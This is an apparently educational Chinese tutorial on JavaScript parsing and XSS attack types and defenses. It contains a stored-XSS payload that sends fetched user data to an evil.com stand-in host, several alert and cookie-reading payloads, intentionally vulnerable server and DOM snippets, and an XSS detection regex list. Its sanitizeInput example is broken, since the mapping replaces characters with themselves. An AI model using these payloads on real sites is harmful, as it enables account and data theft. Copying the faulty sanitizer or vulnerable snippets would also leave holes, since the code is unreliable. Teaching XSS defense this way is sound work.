🛡️ JavaScript解析与XSS攻击原理
WARNING
XSS攻击是最常见的Web安全漏洞之一,理解JS解析原理对防范XSS至关重要!
🔍 JavaScript解析过程
graph TD A[源代码] -->|词法分析| B[Token流] B -->|语法分析| C[AST抽象语法树] C -->|字节码生成| D[字节码] D -->|执行| E[运行结果] style A fill:#f9f,stroke:#333,stroke-width:2px style E fill:#9cf,stroke:#333,stroke-width:2px
1. 浏览器解析JS的关键节点
解析过程详解
javascript
// 1. 内联脚本解析
<script>
alert('XSS'); // 直接执行
</script>
// 2. 外部脚本加载
<script src="http://evil.com/xss.js"></script>
// 3. 动态脚本注入
document.write('<script>alert("XSS")</script>');
// 4. 事件处理程序
<img src="x" onerror="alert('XSS')">
💉 XSS攻击形成原理
1. 反射型XSS
攻击原理与示例
javascript
// 1. URL参数注入
// http://example.com/search?q=<script>alert('XSS')</script>
// 服务端未过滤直接返回
app.get('/search', (req, res) => {
res.send(`搜索结果: ${req.query.q}`); // 危险!
});
// 2. 表单数据注入
<form action="/echo">
<input name="userInput">
</form>
// 服务端
app.post('/echo', (req, res) => {
res.send(req.body.userInput); // 危险!
});
2. 存储型XSS
攻击原理与示例
javascript
// 1. 评论区注入
const comment = {
content: `<img src="x" onerror="
fetch('/api/user').then(r=>r.json())
.then(data => {
new Image().src = 'http://evil.com/steal?data=' +
encodeURIComponent(JSON.stringify(data))
})
">`,
userId: "hacker"
};
// 2. 个人信息注入
const profile = {
nickname: `"><script>alert(document.cookie)</script>`,
avatar: "normal.jpg"
};
3. DOM型XSS
攻击原理与示例
javascript
// 1. innerHTML注入
function showMessage(message) {
document.getElementById('message').innerHTML = message; // 危险!
}
// 2. location hash注入
window.onload = function() {
var hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash; // 危险!
};
// 3. eval注入
function calculate(expr) {
return eval(expr); // 危险!
}
🛡️ 浏览器防御机制
1. 内容安全策略(CSP)
html
<!-- 1. Meta标签方式 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'unsafe-inline'">
<!-- 2. HTTP头部方式 -->
Content-Security-Policy: default-src 'self'; script-src 'self'
2. HttpOnly Cookie
javascript
// 服务端设置
Set-Cookie: sessionId=abc123; HttpOnly
// 浏览器中
document.cookie // 无法读取标记了HttpOnly的Cookie
3. 输入输出编码
javascript
// 1. 输入过滤
function sanitizeInput(input) {
return input.replace(/[&<>"']/g, char => ({
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
})[char]);
}
// 2. 安全的DOM API
const text = document.createTextNode(userInput); // 安全
element.textContent = userInput; // 安全
🔨 防御最佳实践
1. 代码层面
javascript
// 1. React中的XSS防御
function SafeComponent({ userInput }) {
// React默认转义HTML
return <div>{userInput}</div>;
// 如果必须使用HTML
return <div dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(userInput)
}} />;
}
// 2. Vue中的XSS防御
<template>
<!-- Vue默认转义HTML -->
<div>{{ userInput }}</div>
<!-- 如果必须使用HTML -->
<div v-html="sanitizedInput"></div>
</template>
<script>
import DOMPurify from 'dompurify';
export default {
computed: {
sanitizedInput() {
return DOMPurify.sanitize(this.userInput);
}
}
}
</script>
2. 服务器层面
javascript
// 1. Express中间件
app.use((req, res, next) => {
// 设置安全响应头
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Content-Security-Policy',
"default-src 'self'");
next();
});
// 2. 输入验证
const sanitizeMiddleware = (req, res, next) => {
req.body = sanitizeObject(req.body);
next();
};
📊 XSS攻击检测
1. 常见攻击向量
javascript
// 1. 基础脚本注入
<script>alert('XSS')</script>
// 2. 事件处理程序
<img src="x" onerror="alert('XSS')">
// 3. JavaScript伪协议
<a href="javascript:alert('XSS')">点击我</a>
// 4. CSS注入
<style>@import 'http://evil.com/xss.css';</style>
// 5. SVG注入
<svg><script>alert('XSS')</script></svg>
2. 自动化检测
javascript
// 1. XSS向量检测函数
function detectXSS(input) {
const xssPatterns = [
/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
/javascript:/gi,
/onerror\s*=\s*/gi,
/onclick\s*=\s*/gi
];
return xssPatterns.some(pattern => pattern.test(input));
}
// 2. URL参数检测
function checkUrlParams(url) {
const params = new URLSearchParams(url.search);
for (let [key, value] of params) {
if (detectXSS(value)) {
console.warn(`Potential XSS in parameter: ${key}`);
}
}
}
🎯 面试重点
1. XSS攻击类型
mindmap root((XSS类型)) 反射型 URL参数 表单提交 存储型 数据库存储 持久化攻击 DOM型 前端解析 动态内容
2. 防御措施
IMPORTANT
- 输入验证和过滤
- 输出编码
- CSP策略
- HttpOnly Cookie
- 安全的API使用
🚀 进阶知识点
1. 现代框架的XSS防御
javascript
// React的自动转义
const Component = () => {
const userInput = '<script>alert("XSS")</script>';
return <div>{userInput}</div>; // 安全,自动转义
};
// Vue的v-html指令
Vue.component('safe-html', {
props: ['content'],
render(h) {
const sanitized = DOMPurify.sanitize(this.content);
return h('div', { domProps: { innerHTML: sanitized } });
}
});
2. 高级防御技术
javascript
// 1. 子资源完整性(SRI)
<script src="https://example.com/script.js"
integrity="sha384-hash"
crossorigin="anonymous"></script>
// 2. 特征策略
Feature-Policy: camera 'none'; microphone 'none'
// 3. 沙箱隔离
<iframe sandbox="allow-scripts allow-same-origin"></iframe>